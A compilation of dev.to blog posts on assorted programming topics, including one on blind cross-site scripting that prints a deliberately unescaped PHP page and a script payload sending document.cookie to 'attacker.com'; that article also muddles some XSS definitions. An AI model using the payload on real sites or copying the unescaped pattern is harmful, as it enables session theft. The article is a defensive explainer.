https://dev.to/haudev11/what-is-the-difference-between-the-algorithm-and-technique-3m4l
algorithms, programming
### Intro Hi everyone, today I will explain the algorithm and technique. What is algorithm and what is technique. and then, I will talk about the different between them. Let go! In some cases, many people think algorithm and technique are the same. But in reality, they are different. ## About algorithms Follow by definition, the algorithm is the sequence strict guidelines to solve a class of specific problem. Let take a example: when we create a algorithm to find a element in a array has a value equal to x. What would we do? - First of all, we create a iterator like "i" and set the value of it is equal the first index of array, right? - Then, we check the value of array at index "i" is equal to x. - If it equals to x, then we know that array has a element equal to x at index "i". We will stop here. - If it is not equal to x, we will increase the value of i by one and continue check until the end of the array. - If is equal to the end of the array and we don't find any element equal to x this means, in array doesn't exist a element equal to x. right? And that is the algorithm to find a element equal to x in a array also called linear search. Some algorithms: - Sort: Quick sort / selection sort / heap sort / insertion sort ... - Search: Binary search / tenary search ... - ... ## About Technical In my mind, the technique is more difficult to explain than algorithm. The technique just defines a general way to solve problems. It does not specifically to implement for problem solving. To implement, we need to apply it like a set of frames and further development of the problem we are solving. It's prrety hard to imagine, right? Let thing aout Dynamic programming or DP. That is good technique to take for example. The Dynamic programming just talk about how we can solve the problem like: - Break the large problem down into small problem and find ways to solve them. And then we have the answer for that problem. - Or Find ways to solve smaller problems and put them together and we have the answer for large or main problem. Some techniques: - Dynamic programming - Two pointers - ... ## Summary I hope through this blog you can understand the algorithm and technique and distinguish between them. That is my first blog and this is also I use English to write a blog so I hope you can understand everything I wrote ( because I think my English is not good ^^). Well done, I very happy when you read here. Wish you have a great day!
haudev11
1,362,291
It is Importent to have a central place to register your Web Components.
Most people under estimate the importance of general structures in web applications they tend to over...
0
2023-02-11T23:30:28
https://dev.to/lemanschik/it-is-importent-to-have-a-central-place-to-register-your-web-components-2efj
webdev, javascript, programming, tutorial
Most people under estimate the importance of general structures in web applications they tend to over engineer and this way create unmaintainable software i want to provide you a Good Level of Abstraction for your Applications. The way to migrate your unmaintainable application into a maintainable one is a simple manifest this allows you to declare what gets loaded. The Content should Only Change when the Manifest it self Changes. And the Manifest it self should not need changes without total new content added as replacement for the old. Note the word replacement its not talking about additions additions should be do able without much modification of the existing manifest it should simple be able to reference other manifests. If you keep this fundamentals you will come to the conclusion that the right way to Modify Software is the registration of custom elements for sections of your page but only if it is content that gets replaced often. else the registration of custom elements makes zero sense it is even harmful direct rendered static content always wins. And then Incremental Add Functionality to it. In Previous decades we archived a lot of this sperations via css but today this makes no sense anymore and adds only overhead so we replace css by JS that inserts CSS where needed in a cacheable way without bloating or inferences with other css. ```js // When you define customElements class myTagName extends HTMLElement {} // => <my-tag-name>, define('my-tag-name') optional parse HTMLDiv HTML*Element and lower it put it into ,{ extends: 'div'} ```
lemanschik
1,362,300
Transform Your Deployment Game: A Tutorial on EC2 Instance Provisioning w/CloudFormation and the Power of NextJS & Sanity Stack
Unlock the full potential of your web application with a cutting-edge technology stack! This...
0
2023-02-12T00:23:22
https://dev.to/aaron_janes/transform-your-deployment-game-a-tutorial-on-ec2-instance-provisioning-wcloudformation-and-the-power-of-nextjs-sanity-stack-29ij
devops, cloudcomputing, aws, infrastructureascode
Unlock the full potential of your web application with a cutting-edge technology stack! This comprehensive guide will walk you through the steps of setting up an EC2 instance with Nginx, reverse proxy, and code deploys agent for seamless CI/CD integration. With the help of AWS CloudFormation, we'll show you how to secure your instance with SSH access and TCP connections, connect to an S3 bucket with an IAM ROLE, and assign a permanent Elastic IP address. And, with our easy-to-follow instructions, you'll be able to configure your stack like a DevOps pro in no time. So, why wait? Upgrade your web application today and achieve unbeatable lighthouse scores! Link: https://aaron-janes.medium.com/transform-your-deployment-game-a-step-by-step-guide-to-ec2-instance-provisioning-with-fa709c6f27e7
aaron_janes
1,362,463
10 Best Practices to keep your API secure
API security is crucial for modern software development as it facilitates the resources for...
0
2023-02-12T04:42:40
https://dev.to/misbah12869286/10-best-ways-practices-to-keep-your-api-secure-5640
security, api, cybersecurity
API security is crucial for modern software development as it facilitates the resources for innovation. However, with the increased reliance on technology, attackers have focused on finding vulnerabilities in APIs to access sensitive data and take control of the underlying system. Hence, it's important for organizations to implement best API security practices to safeguard sensitive data and API functionality. Here are the top 10 best practices for API security: ## Secure Authentication and Authorization Methods: To prevent malicious authentication, it is essential to use secure methods such as OAuth 2.0 or JSON Web Tokens (JWT) and secure authorization from being vulnerable to attacks. ## Web Application Firewall: Implement a robust web application firewall to identify and remove malicious traffic before it reaches the API gateway. ## Encrypt Data in Transit: To secure sensitive data transmitted over the network, it is important to use protocol encryptions such as TLS (Transport Layer Security) and SSL (Secure Socket Layer). This provides end-to-end encryption to protect data during transmission. ## Rate Limiting: To avoid attacks such as Denial of Service and similar ones, it's important to limit or control the traffic from requesting access to the API at the same time. This ensures the API remains available and responsive to legitimate requests. ## Access Logs: Implementing and maintaining access logs for your API can help track the clients who have accessed the API and their activities. This helps identify clients responsible for security breaches or API's unusual behavior. ## Security Assessments: Conduct regular security assessments to identify and remove vulnerabilities in the API. Test regularly for common security threats such as XSS (Cross-Site Scripting), SQL injection, and CSRF (Cross-Site Request Forgery). ## Employee Training: Ensuring API security in an organization requires basic security knowledge among employees dealing with the API. It's helpful if the principles of DevSecOps are followed in the organization. All employees should have a [comprehensive understanding of API security](https://www.practical-devsecops.com/what-is-api-security/) and be skilled enough to implement it. ## API Key Rotation: API keys can be compromised if not used in combination with other security measures. It's recommended to use rate limiting, access logs, and key rotation in combination with API keys. API key rotation is an effective practice to keep the key secure from malicious hands. ## Input Validation and Sanitization: It's important to validate inputs to ensure their genuineness and prevent malicious intentions. Validation ensures only expected data is accepted, preventing attacks such as XSS and SQL injection. ## Regular Updates: Keep APIs and its underlying technologies and dependencies up-to-date to secure the API from the latest threats.
misbah12869286
1,362,469
Protect Your Website from Blind Cross-Site Scripting
Blind Cross-Site Scripting (XSS) is a type of security vulnerability often overlooked and...
0
2023-02-12T05:20:16
https://blog.learnhub.africa/2023/02/12/protect-your-website-from-blind-cross-site-scripting/
cybersecurity, javascript, programming, webdev
<a class="markup--anchor markup--p-anchor" href="https://en.wikipedia.org/wiki/Cross-site_scripting" target="_blank" rel="noopener noreferrer nofollow">Blind Cross-Site Scripting (XSS)</a> is a type of security vulnerability often overlooked and underrepresented in many organizations’ threat models. This can be particularly dangerous, as blind XSS attacks can compromise sensitive information, damage an organization’s reputation, and even result in legal implications. In this article, we will dive into the topic of Blind XSS, including an overview of its definition, how it differs from traditional XSS, the impact it can have, and the steps organizations can take to protect themselves from these types of attacks. Blind XSS is an attack that allows an attacker to inject malicious code into a web application. Unlike traditional <a class="markup--anchor markup--p-anchor" href="https://brightsec.com/blog/xss-attack/" target="_blank" rel="noopener noreferrer nofollow">XSS attacks</a>, in which the attacker can see the injection results, blind XSS does not provide any visual feedback to the attacker. Instead, the attacker must rely on the victim to trigger the malicious code, often accomplished through social engineering. This attack can be hazardous, as the attacker can gain access to sensitive information, such as user credentials, without the victim ever realizing they have been targeted. There are several types of blind XSS, including <ul> <li><a class="markup--anchor markup--li-anchor" href="https://en.wikipedia.org/wiki/Cross-site_scripting#Persistent_%28or_stored%29" target="_blank" rel="noopener noreferrer nofollow">Stored</a></li> <li><a class="markup--anchor markup--li-anchor" href="https://en.wikipedia.org/wiki/Cross-site_scripting#Non-persistent_%28reflected%29" target="_blank" rel="noopener noreferrer nofollow">Reflected</a></li> <li><a class="markup--anchor markup--li-anchor" href="https://en.wikipedia.org/wiki/Cross-site_scripting#Server-side_versus_DOM-based_vulnerabilities" target="_blank" rel="noopener noreferrer nofollow">DOM-based XSS</a></li> </ul> Stored blind XSS is the most dangerous type of blind XSS, as it allows the attacker to persistently inject malicious code into the web application, which can then be triggered by any user who visits the affected page. Reflected blind XSS is an attack in which the injected code is only present in response to a single request. In contrast, DOM-based XSS attacks when the attacker can manipulate the web page’s Document Object Model (DOM) to execute malicious code. Blind XSS attacks can occur through various vectors, including email, instant messaging, and social media platforms. Here are a few examples of how blind XSS can occur in real-world scenarios: <ol> <li>Phishing email: An attacker sends an email to an organization’s employees, claiming to be from a trusted source. The email contains a link to a malicious website that injects malicious code into the victim’s browser. This code can then steal sensitive information, such as user credentials, when the victim visits the affected website.</li> <li>Social media post: An attacker creates a social media post that contains a link to a malicious website. When a user clicks on the link, the attacker’s code is injected into the user’s browser, allowing the attacker to steal sensitive information.</li> <li>Instant messaging: An attacker sends a message to a victim through an instant messaging platform, claiming to be from a trusted source. The message contains a link to a malicious website that injects malicious code into the victim’s browser. The attacker can then steal sensitive information from the victim.</li> <li>Online forum: An attacker posts a message in an online forum that contains a link to a malicious website. When a user clicks on the link, the attacker’s code is injected into the user’s browser, allowing the attacker to steal sensitive information.</li> </ol> These examples illustrate how blind XSS attacks can be used to steal sensitive information and compromise an organisation’s security. Here is an example of a code-based scenario that could lead to a blind XSS attack: Consider a website that allows users to search for products and displays the results on a page. The search results page includes user-generated data, including product names, descriptions, and comments. The website’s developers have not properly validated the input in the comments section, allowing users to include malicious scripts. The following code is a simplified example of how this vulnerability could occur: <pre><code class="language-php">&lt;html&gt; &lt;body&gt; &lt;h1&gt;Product Search Results&lt;/h1&gt; &lt;ul&gt; &lt;?php $results = search_products($_GET['query']); foreach ($results as $product) { echo '&lt;li&gt;'; echo '&lt;h2&gt;' . $product['name'] . '&lt;/h2&gt;'; echo '&lt;p&gt;' . $product['description'] . '&lt;/p&gt;'; echo '&lt;p&gt;' . $product['comments'] . '&lt;/p&gt;'; echo '&lt;/li&gt;'; } ?&gt; &lt;/ul&gt; &lt;/body&gt; &lt;/html&gt;</code></pre> In this example, the website’s developers are not properly escaping user input, which could allow an attacker to inject malicious scripts into the comments section. For example, if an attacker were to search for a product and include the following in the comments section: <pre><code class="language-javascript">&lt;script&gt; window.onload = function() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://attacker.com/steal_data", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("data=" + document.cookie); }; &lt;/script&gt;</code></pre> When a user visits the search results page, the attacker’s code is executed in the user’s browser, allowing the attacker to steal the user’s sensitive information, such as their session cookies. To prevent this type of blind XSS attack, the website’s developers should properly validate and escape user input to ensure that it is safe to be displayed on the page. For example, they could use the <strong>htmlspecialchars</strong> function in PHP to escape any special characters that could be used to inject malicious scripts. Once the code has been injected, the attacker can wait for the victim to trigger the code, which can occur through actions such as visiting a specific website, filling out a form, or opening a file. The impact of a successful blind XSS attack can be far-reaching. The attacker can steal sensitive information, such as user credentials, financial information, and personal information. This can result in data theft, which can have profound financial implications for the organization and its customers. Additionally, a successful blind XSS attack can damage an organization’s reputation, losing customer and stakeholder trust. In some cases, the legal implications of a blind XSS attack can also be severe, as the organization may be held responsible for not adequately protecting its customers’ information. <h4>How To Protect Against XSS attacks</h4> So, what can organizations do to protect themselves from blind XSS attacks? The first step is to implement<strong> input validation</strong>, which involves checking user-supplied data before the web application processes it. This can help to prevent malicious code from being injected into the web application in the first place. Another critical step is to implement a Content Security Policy (CSP), which is a security policy that helps to prevent cross-site scripting attacks by specifying which sources of content are allowed to be loaded by the web application. Input validation and CSP organizations should also implement server-side validation, which involves checking the data on the server before the web application processes it. This can help prevent malicious code from being executed even if injected into the web application. Additionally, organizations should regularly test their web applications for security vulnerabilities. One important consideration for blind XSS defence is to prioritize protecting sensitive information. This may involve implementing additional security measures, such as two-factor authentication, encryption, and monitoring, to protect sensitive information even if a blind XSS attack is successful. Organizations should also educate their employees on the dangers of blind XSS and the importance of being vigilant when clicking on links or downloading files from unknown sources. <h4>Conclusion</h4> In conclusion, blind XSS is a type of security vulnerability that can have severe consequences for organizations. While it can be challenging to detect and prevent, organizations can take steps to protect themselves, including implementing input validation, CSP, and server-side validation. Additionally, organizations should prioritize protecting sensitive information, educate their employees on the dangers of blind XSS, and regularly test their web applications for security vulnerabilities. By taking these steps, organizations can reduce the risk of a successful blind XSS attack and protect their customers’ sensitive information. <h4>Resources</h4> <ul> <li><a class="markup--anchor markup--li-anchor" href="https://portswigger.net/web-security/cross-site-scripting" target="_blank" rel="noopener noreferrer nofollow">PortSwagger</a></li> <li><a class="markup--anchor markup--li-anchor" href="https://en.wikipedia.org/wiki/Cross-site_scripting" target="_blank" rel="noopener noreferrer nofollow">Wikipedia</a></li> </ul>
scofieldidehen
1,362,595
All you need to know about AWS Cloud Club
Hi, My name is Tejas Gupta (AWS Community Builder), and in this blog I will be sharing everything...
0
2023-02-12T11:53:08
https://dev.to/aws-builders/all-you-need-to-know-about-aws-cloud-club-3amb
aws, cloud, community, students
Hi, My name is Tejas Gupta (AWS Community Builder), and in this blog I will be sharing everything about AWS Cloud Clubs. ## What are Cloud Clubs? It is a student-led User group from ages 18 to 28 where students can engage in, network, learn, and share their knowledge with their peers. There are already [User Groups](https://aws.amazon.com/developer/community/usergroups/?intClick=dev-center-2021_main) in big cities, but this program will be dedicated to only students. This program is launched by the AWS Academic Advocacy (Developer Relations) Team. ##Let's meet the team. - Jen Looper, Head of Academic Advocacy - Tracy Wang, Community Manager - Nayoung Won, Program Manager - Mustafa Saifee, Student Advocate, India - Stephen Howell, Student Advocate, Ireland ##How to start a Cloud Club? As it is a student-driven program, it will be at a college or university level. Every club needs a captain who can handle the club and help peers learn. The captain will be provided with all the necessary amenities that will be required to run the club. ##How to become a Cloud Club Captain? The application process for becoming a captain has already started on February 6, 2023. You can apply from here: -https://s12d.com/students There will be certain things that are required in a captain: - Enrolled in a college, university, or self-study. - Aged between 18-28 - Must be located and studying in one of the following countries: Australia, Bangladesh, France, India, Ireland, Mexico, Nigeria, Pakistan, United Kingdom, United States. - Interested in creating peer-to-peer learning experiences for the local student community. - Curious of skilling up in AWS Technology **Note:** It is highly advised to fill out applications on your own and not use any AI-generated tools, as your application might get rejected. ##Roadmap for Cloud Club ![Roadmap of Cloud Clubs](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wyrc2959czwpswqin0zi.png) ## How AWS will be helping you? - Student Symposia: A Day of Skilling - Bespoke workshops via the Learner's Library - Career coaching (mock interviews, resume reviews) - Dedicated Slack room for Captains - Regular all-hands - Special training opportunities if you are interested - Cloud Club Camps opportunities - Cross-Club Collabs ##FAQ's 1. Can a working professional start a Cloud Club or become a captain? -> You cannot officially be a captain for any Cloud Club, although, with your experience, you can be a great helping hand to the captains who are managing the clubs. 2. Will the Cloud Clubs be based on city, state, or something else? -> There are no restrictions as of now on becoming a captain or forming a club. As long as there are good captains, there will be clubs in any part of the country. 3. Is past experience hosting an event really necessary for becoming a cloud captain? -> You can definitely apply to be a cloud captain if you don't have any hosting experience. Perhaps you have attended an event as an attendee and gained experience with how events are run. You can also share your ideas for hosting an event. 4. I am new to AWS. Can I apply to become a captain? -> Yes, you can apply if you are new to AWS but have a keen interest in learning and sharing it with others. 5. Can there be two captains from a single college? -> As of now, there will be only 1 captain from a college. 6. What are the benefits that I will get if I am selected as a Captain? -> Please check the road map above in this blog. 7. What will be the tenure of the captains? -> The captain program is designed to be there for 12 months. It can also be extended based on performance. 8. AWS Cloud Club is not launched in my country; what should I do? -> If you are from a country where cloud clubs are not yet launched, you can fill out the [interest form](https://pulse.buildon.aws/survey/VLFIYRRV) and based on the response, the program can be launched in your country in the next iteration. 9. What is the last date for applying for Cloud Clubs? -> The application deadline is February 19, 2023. 10. When can we expect the results of the application? -> There is no set date for the announcement of results; it will entirely depend on the number of applications received. 11. I am a first and second year college student; should I apply for the program? -> You should definitely apply and show your interest to the program managers. 12. I am in my 4th year; should I apply for the program? -> Your application is critical because you will be an ideal candidate with extensive experience and knowledge both inside and outside of your university. 13. What if my application is not selected as a cloud captain? -> It is strongly advised to apply again in the next cohort, as applications will be plentiful. Thank you for reading. Reach out to me on [LinkedIn](https://www.linkedin.com/in/tejas-gupta-9b20731a5/) if you have any queries!
tejasgupta
1,362,625
Simple 2-joint inverse kinematic with isosceles triangle
Math Formula Formula to get height of isosceles triangle from one side a and base b, you...
0
2023-02-12T11:03:05
https://anasrar.github.io/blog/simple-2-inverse-kinematic-with-isosceles-triangle/
programming, math, showdev, algorithms
## Math Formula Formula to get height of isosceles triangle from one side `a` and base `b`, you can use it to find the elbow position. {% katex %} h(a,b) = \sqrt{a^2-\frac{b^2}{4}} {% endkatex %} TypeScript version. ```typescript function getHeight(a: number, b: number){ return Math.sqrt((a ** 2) - ((b ** 2) / 4)); } ``` ## Application Let's say you have shoulder `p1`, hand `p2`, and `a` is half length of your arm. You want to find where the elbow position is. {% katex %} \begin{aligned} a &= 10\\\\ b &= |(\bold{p_2} - \bold{p_1})|\\\\ \bold{\hat{c}} &= \frac{\bold{p_2} - \bold{p_1}}{b}\\\\ \bold{d} &= \bold{\hat{c}}h(a,b)\\\\ \bold{k} &= \bold{p_1} + \bold{\hat{c}}\frac{b}{2} + \begin{bmatrix} d_1 \cos(90\degree) - d_2 \sin(90\degree) \\\\ d_1 \sin(90\degree) + d_2 \cos(90\degree) \end{bmatrix} \end{aligned} {% endkatex %} TypeScript version (vector library using [vecti](https://www.npmjs.com/package/vecti)). ```typescript import { Vector } from "vecti"; const p1 = new Vector(10, 10); const p2 = new Vector(150, 150); const a = 100; const b = p2.subtract(p1).length(); const c = p2.subtract(p1).normalize(); const d = c.multiply(getHeight(a, b)); const k = p1.add(c.multiply(b / 2)).add(d.rotateByDegrees(90)); // because SVG and Canvas using top to bottom you can use -90, you can also use this to switch direction ``` ## Demo {% embed https://codesandbox.io/embed/simple-ik-httlwf?fontsize=14&hidenavigation=1&theme=dark&view=preview %}
anasrin
1,362,697
Technical Writing Process: How To Write A Good Technical Article
In 2021, I joined technical writing, where I have written close to 20 paid technical articles and...
0
2023-02-12T12:19:02
https://dev.to/the_greatbonnie/technical-writing-process-how-to-write-a-good-technical-article-j67
webdev, javascript, writing, programming
In 2021, I joined technical writing, where I have written close to 20 paid technical articles and made more than $6K online. From my experience, writing a good technical article is not a walk in the park. A good technical article is an article that breaks down complex concepts into simple and easy-to-understand language. As a technical writer, to break down complex concepts into a simple and easy-to-understand language, you need to: - First, understand the topic you are writing about. - Second, know the audience you are writing for. - Third, know how to structure an article to deliver your message to your reader. - Finally, Know how to use the right voice and tone in your writing. To do all the above, you need a good technical writing process. In this article, you will learn about the technical writing process I use to write better technical articles for my clients. Here are the steps in the technical writing process that I will be covering: - Step 1: Research. - Step 2: Prepare to write. - Step 3: Write the first draft. - Step 4: Review. - Step 5: Editing. - Step 6: Approval and publishing. ## Step 1: Research Firstly, do a google search of the topic you are writing about and review articles related to the topic. As you review the articles, take notes to get a better understanding of the topic. Also, you can ask ChatGPT about the topic. Then compare the information you get from ChatGPT to the information you got from Google search. For example, I started working on a new topic for a client technical article this week. Here are the notes I took while researching the topic. ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uz1iky87k9tv47t9004q.jpg) Note: You need to compare information from ChatGPT with information from Google search because ChatGPT can sometimes provide inaccurate information. Secondly, determine the format and structure of the topic you will be writing about. ### Types Of Article Structures There are two types of technical articles in technical blog writing. - Procedural Articles: These articles walk the reader through accomplishing a task step-by-step. - Conceptual Articles: These articles help readers understand the topic deeply and build a foundation for further learning. Below are different different structures of the articles. ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0sz5589tku20zpd1th77.png) Thirdly, identify the target audience of the topic you will be writing about. The simplest way to identify your target audience is by determining what your audience needs to learn. Write down a list of everything your target audience needs to learn in the technical article you will be writing. ## Step 2: Prepare To Write Firstly, determine the objective or aim for the article you will be writing. Identifying your audience in step one will help you determine the article's objective. The article's objective can be to help the reader learn something or solve a problem. Here is an example of an article objective. ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nl0gw5r1vwsh27lt8v8q.png) Secondly, create an article outline. An outline, in simple terms, is a skeleton of a finished piece of writing that maps the topics you will cover in an article. An outline provides a structure that ensures your ideas flow logically and clearly. Determining article format and structure in step one will help you create an article outline. For example, here is an outline of an article I wrote for the DbVisualizer blog. ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8lg04p3j49tj3bfrc5ox.png) Note: After determining the article's objective and creating an outline, if it is client's work, you can send the article to the client to get feedback to ensure you are on the same page. ## Step 3: Write The First Draft Firstly, include the goal of the article in the title. Below is how a label can be formatted, ### Title Format How To <Accomplish a Task> With < Software or Technology> ### Example How To Create A Calculator With JavaScript Secondly, start writing the article introduction. The introduction of every article should have 1 to 3 paragraphs. ### Questions a good intro should answer - What is the problem being addressed? - What is the solution to this problem? - What will the reader learn? Thirdly, write the prerequisites. The purpose of prerequisites is to spell out *exactly* what the reader should have or do before they follow the current tutorial. The format is a list that the reader can use as a checklist. Each point must link to an existing tutorial that covers the necessary content or the official software documentation. This allows you to rely on existing content known to work instead of starting from scratch. Fourthly, start writing the article body in steps. The steps are the parts of your article where you describe what the reader needs to do and why. A step contains commands, code listings, and files explaining **what to do** and **why you're doing it this way.** Lastly, write the article's conclusion. The article's conclusion should summarize what the reader has learned or accomplished by following your tutorial. ## Step 4: First Draft Review After writing the first draft, send it to the client, subject matter expert, or someone with good knowledge of the topic you are writing about for review. Having the draft reviewed by the client or subject matter expert ensures that the article is technically accurate and meets the article's objective. ## Step 5: Edit And Revise Editing and revising is where you shape the reviewed draft into a final draft. Make sure that you take a break between writing and editing. Taking a break will enable you to view your work with fresh eyes. You can use tools like Grammarly in the editing process to check spelling, grammar, style, and punctuation mistakes. ## Step 6: Proofreading And Approval Of Final Draft Proofreading your final draft is when you have finished your writing but are not ready to publish it or hand it to your client for approval. Here you go through your article to catch: - Any spelling mistakes - Grammar errors - Typos - Formatting errors - Incorrect structure or syntax After proofreading the final draft, send it to the client for last review and approval. ## Step 7: Publish The Finished Article The client will publish the article if no more changes to be made to the final draft. If it is a personal article, you can post it on your blog or free blogging platforms for developers like: - Medium - Dev To - Hashnode ## Conclusion You have learned how to write a good technical article step-by-step in this article. If you liked the article, follow me on Twitter for daily tips on technical writing. https://twitter.com/The_GreatBonnie
the_greatbonnie
1,362,968
🚀 Angular ng-templates: Crafting Reusable templates with Ease
1. NgIf with else This is a common scenario such as showing Loader where we will use...
0
2023-02-14T17:01:50
https://dev.to/shrihari/angular-ng-templates-crafting-reusable-templates-with-ease-2dap
webdev, javascript, angular, programming
##1. NgIf with else This is a common scenario such as showing Loader where we will use `ngIf="isLoading"` and `ngIf="!isLoading"`. Instead we can use the following syntax. ```typescript export class HomePageComponent { constructor() {} isLoading : boolean = false } ``` ```html <div *ngIf="isLoading else content"> <h1> Loading ... </h1> </div> <ng-template #content> <h1> Hello there </h1> </ng-template> ``` ##2. Reuse Static HTML By creating a reference to the template we can then use that to reuse with the help of `ng-container` and `ngTemplateOutlet`. ```html <ng-template #staticContent> <h1> This content can be used in this component any number of times </h1> </ng-template> <ng-container *ngTemplateOutlet="staticContent"></ng-container> <ng-container *ngTemplateOutlet="staticContent"></ng-container> <ng-container *ngTemplateOutlet="staticContent"></ng-container> ``` ![Static HTML](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oad87ym8vxnrfi2qnpgx.png) ##3. Resue Dynamic HTML With `ng-template` `ng-template` also will take variables inside that and render dynamically. ```typescript export class HomePageComponent { constructor() {} user_1 = { id: 1, firstName: 'Walter', lastName: 'White' } user_2 = { id: 2, firstName: 'Jesse' } } ``` ```html <ng-template #userTemplate let-user> <span *ngIf="user">First Name : {{user.firstName}}</span> <span *ngIf="user&& user.lastName"> Last Name : {{user.lastName}}</span> </ng-template> <ng-template *ngTemplateOutlet="userTemplate; context: {$implicit: user_1 }"> </ng-template> <br> <ng-template *ngTemplateOutlet="userTemplate; context: {$implicit: user_2 }"> </ng-template> ``` ![Sample 3](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cza6xwz7ykvu14cet7uo.png) The context object's keys will be available for binding by the local template let declarations (in this case `let-user`). Using the key **`$implicit`** in the context object will set its value as default. We can also use the following syntax to assign it to variables without `$implicit` and you can use multiple let declarations in an `ng-template` by separating them with a `comma`. For example, if you have a component with properties user and address, you can use both in an `ng-template` like this ```typescript export class HomePageComponent { constructor() {} user = { id: 1, name: 'Walter', lastName: 'White' } address = { street: 'Bakers Street' } } ``` ```html <ng-template #myTemplate let-user="user" let-address="address"> <p>{{ user.name }}</p> <p>{{ address.street }}</p> </ng-template> <ng-template *ngTemplateOutlet="myTemplate; context: {user : user , address : address }"> </ng-template> ``` _Peace 🕊_ --- Hey I just made an chrome extension that makes your css debugging easier. Try and give me suggestions to improve. [Find Ghost Css](https://chrome.google.com/webstore/detail/ghost-css-detector/pphfihfikeimkmnjielhjjgapkmnimnm) If you are here it means you may have enjoyed reading this blog. Just follow me @shrihari which will motivate to write more. You can make a drink [Buttermilk 🥛](https://www.buymeacoffee.com/shriharimohan). Small support comes a long way! Subscribe If you want to receive these blogs in your mail from @[Medium](https://medium.com/@shriharimohan) for free! ## Try Our new product for free! [DocsAI](https://docsai.app/) - Create AI support agents with your documents in the most affordable price, starts at **0$**. Don't need a bot , but need ai help on your docs just upload and start chating ! Using for a company ? [Check out our pricing](https://docsai.app/pricing) Just contact me for personalized pricing ! ![docsAi](https://firebasestorage.googleapis.com/v0/b/shrihari-personal-storage.appspot.com/o/banner-docs-jpeg.jpeg?alt=media&token=45c47666-de2a-4e02-8881-beb6e43ce581) ##More Free Articles from me {% embed https://dev.to/shrihari/how-i-built-a-chrome-extension-that-finds-ghost-css-ghost-css-detector-4aj0 %} {% embed https://dev.to/shrihari/navbar-with-background-blur-aesthetic-look-in-2-lines-of-code--4kp6 %} {% embed https://dev.to/shrihari/why-array-index-starts-with-0-a-pointers-magic--j53 %}
shrihari
1,362,982
Cloud Native Networking Using eBPF
Cloud Native? What’s that? Nowadays we expect softwares to be up 24/7, release frequent...
0
2023-02-12T18:16:34
https://dev.to/deepeshaburse/cloud-native-networking-using-ebpf-4p9h
cloudnative, cilium, cni, microservices
## Cloud Native? What’s that? Nowadays we expect softwares to be up 24/7, release frequent updates to keep up with their competitors, scale up and down as and when required, and so many other things. The limitations of monolithic architectures prevent us from being able to keep up with these ever-growing needs of clients. The above mentioned requirements, combined with the availability of new platforms on which we run software, have directly resulted in the emergence of a new architectural style for software: cloud-native software. We focus on making the applications more stable and resilient than the infrastructure we run them on. There is a growing awareness of the benefits of deploying loosely coupled microservices using containers, most of which are orchestrated with Kubernetes. _Cloud-native software is highly distributed, must operate in a constantly changing environment, and is itself constantly changing._ ## What is Cloud Native Networking? Cloud native architectures have specific network requirements, the majority of which are not met by traditional network infrastructure. Containers are altering how applications are developed, but they are also altering how applications communicate with one another. However, the network is also critical for these production deployments and must have cloud-native characteristics. Intelligent automation, elastic scalability, and security are all necessary. Because of the dynamism of containers, there is a greater need in this environment for visibility and observability. Cloud Native Networking allows containers to communicate with other containers or hosts to share resources and data. Typically, it is based on the standards set by the Container Network Interface (CNI). The Container Network Interface was designed as a simple contract between network plugins and the container runtime. Many projects, including Apache Mesos, Kubernetes, and rkt, have adopted CNI. CNI has the following key characteristics: - CNI defines the desired input and output from CNI network plugins using a JSON schema. - CNI allows you to run multiple plugins in a container that connects networks driven by various plugins. - When CNI plugins are invoked, CNI describes networks in configuration JSON files and instantiates them as new namespaces. - CNI plugins can support the addition and removal of container network interfaces from and from networks. _A project that implements CNI specs is a CNI Plugin._ ## More on CNI Plugins CNI plugins fall under 3 major categories, i.e, routed networks, VXLAN overlays and additional features. <figure> <img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ji7ifsji6vdsmge3idg7.png"> <figcaption>Categories of CNI Plugins</figcaption> </figure> Routed Networks: Usually, an implementation that falls under this category would be Kuberouter. The way it works is by installing routes on your hosts that are running into our containers and then propagating those routes throughout all of your cluster. We can use Project Calico if we require support for any of the advanced features (like network policy in Kubernetes). VXLAN Overlays: This too, is used for connecting containers and helping them communicate with one another. The most simple implementation can be seen in flannel but if we want to use a VXLAN based CNI Plugin which supports advance features, like using gossip protocol to connect all the nodes and share information about the nodes inside the cluster we can use Weave Net. ## Why Cilium? As we can see, Cilium integrates all three major categories involving CNI Plugins. It offers a great deal of flexibility and features, such as Layer 7 Network Policy (the application layer where microservices communicate with one another), policy decisions based on application level traffic, and improved observability. Cilium implements the CNI specification using eBPF and XDP, where XDP allows Cilium to connect to a physical interface as close to the physical interface as possible and BPF programs allow highly efficient packet processing with kernel-layer programs. Cilium loads endpoint/IP maps into BPF maps for BPF programmes to access quickly in the kernel. ## Cilium Component Overview Without getting into much detail, let us understand the flow of the working of Cilium. Suppose, in our case, we take Kubernetes as our input to Cilium’s policy repository. This input then goes to the Cilium Daemon where it is recompiled into bytecode. The code generated is injected into the BPF programs that are running in the kernel which connect our physical interface to our containers. <figure> <img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hcjjp2r6c4n3gtv1u0yl.jpg"> <figcaption>Source: https://docs.cilium.io/en/stable/concepts/overview/ </figure> References: [Talk on "Cloud Native Networking with eBPF" by Raymond Maika](https://www.youtube.com/watch?v=yXm7yZE2rk4&t=342s) [Cloud Native Patterns by Cornelia Davis ](https://www.oreilly.com/library/view/cloud-native-patterns/9781617294297/) [Demystifying Cloud-Native Networking](https://www.netevents.org/demystifying-cloud-native-networking/) [Cloud-Native Network Functions](https://www.cisco.com/c/en/us/solutions/service-provider/industry/cable/cloud-native-network-functions.html)
deepeshaburse
1,363,091
A Few Fun CSS Properties and Functions
CSS filter property The CSS filter property allows you to apply visual effects to HTML...
0
2023-02-12T20:03:40
https://dev.to/appcode/a-few-fun-css-properties-and-functions-3724
beginners, css, tutorial, webdev
